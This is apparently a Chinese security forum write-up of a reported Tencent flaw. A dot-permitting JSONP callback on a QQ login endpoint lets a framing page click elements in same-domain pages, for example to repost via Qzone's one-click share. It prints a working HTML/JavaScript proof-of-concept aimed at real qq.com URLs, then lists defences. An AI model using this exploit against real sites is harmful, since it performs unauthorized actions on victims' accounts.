今天扯淡一种另类的csrf：通过低敏感度，所以没有csrf防护的页面，来操作高敏感度的页面，比如微薄加粉，发微薄云云。
/* 无耻的小注释 这个问题已经在腾讯漏洞报告平台报告，觉得比较好玩，故扯出来发到zone里，让大家乐乐。 腾讯这样的忽略点应该不少，大家可以再挖挖。 */
话说某个月高风黑，伸手不见黑夜的五指，菜逼哥正蛋疼的挖着tx的洞，为了换几个公仔给妹纸逗乐，下意识地在火狐界面下按下了F12。
据某XX的经验，那些看得见的页面，屌丝程序猿们基本都有防护，那些看不见得地方最容易出问题。在web2.0的今天，界面上最看不见的东西是什么，那当然各种回调了。所以按F12找各种json、callback，无往不利。
就在菜逼哥按下F12的那个时刻，一个网址映入菜逼哥的眼帘：
http://dict.py.qq.com/cgi-bin/login?cmd=login&js_tag=1&callback=callback
于是，熟练的手起刀落，查看起源代码：
<script type="text/javascript">
<!--
document.domain='qq.com';
try {
callback({'cmd':'login', 'result':0});
} catch (e) {}
//-->
</script>
呵呵，又一个写在<script>标签中的回调。各位现在可以尽情的fuzz一下，此处回调对回调名字过滤甚是严格，只允许a-zA-Z0-9[]'".这些字符。妄图alert(/hacked by 路人甲@wooyun/)的希望都破灭了
似乎没戏了，不过，似乎，总感觉哪里不太对劲的样子。。。。
仔细琢磨琢磨。。。。
利用点
似乎
就
出在
那个
小数点上
著名的“风骚爱情湿人学者”韩寒童鞋曾经曰过，什么叫现代湿，把散文拆开，分行来写就对了。
菜逼哥一直对那些会写湿的人很仰慕，就也附庸风雅，写了上面这一小段，大家凑合着看看？
大胆假设一下，如果callback的取值是parent.iframe_id.element_id.click，那么位于父页面中，iframe引用了与其同域的页面中的元素、函数这些东西，会不会触发、调用呢？
一个声音高叫着：答案是有的
既然答案是有的，菜逼哥我就不罗嗦了，先放出利用代码再说吧：
<html><body>
<script>
function step1(){
var obj=document.createElement("iframe");
obj.src="http://dict.py.qq.com/cgi-bin/login?cmd=login&js_tag=1&callback=parent.xx.web_weibo.click";
document.body.appendChild(obj);
setTimeout("step2();",100);
}
function step2(){
var obj=document.createElement("iframe");
obj.src="http://dict.py.qq.com/cgi-bin/login?cmd=login&js_tag=1&callback=parent.xx.postButton.click";
document.body.appendChild(obj);
}
</script>
<iframe id='xx' name='xx' src='http://sns.qzone.qq.com/cgi-bin/qzshare/cgi_qzshare_onekey?url=http://cnssuestc.org/' onload="javascript:step1();" width="1000" height="1000" ></iframe>
</body></html>
http://sns.qzone.qq.com/cgi-bin/qzshare/cgi_qzshare_onekey?url=http://cnssuestc.org/
这个页面是qq空间的一键分享网址的页面，访问下就会看到，页面左下角有一个同时转发到微薄云云。
然后呢，代码应该也不需要解释了，大家都看得懂。
这样的问题说大不大，说小不小，关键就看到被操作页面有没有敏感的函数、元素可以被调用了。
防范的话，应该也是比较简单的，在操作原页面做普通的csrf防护：加token也好，referer判断也行；
原页面限制下小数点出现的次数：比如http://e.qq.com/ec/verifymail.php?script&callback=parent.xx这个页面，只允许使用一个小数点，那几乎就没什么想法了。如果有哪位大犇有利用思路，欢迎回帖指出。
被操作页面判断top.location,parent.location是否为可信域名下的页面：这个可能容易疏漏。whatever，也是一种限制被利用的方式
最后给两个效果图吧
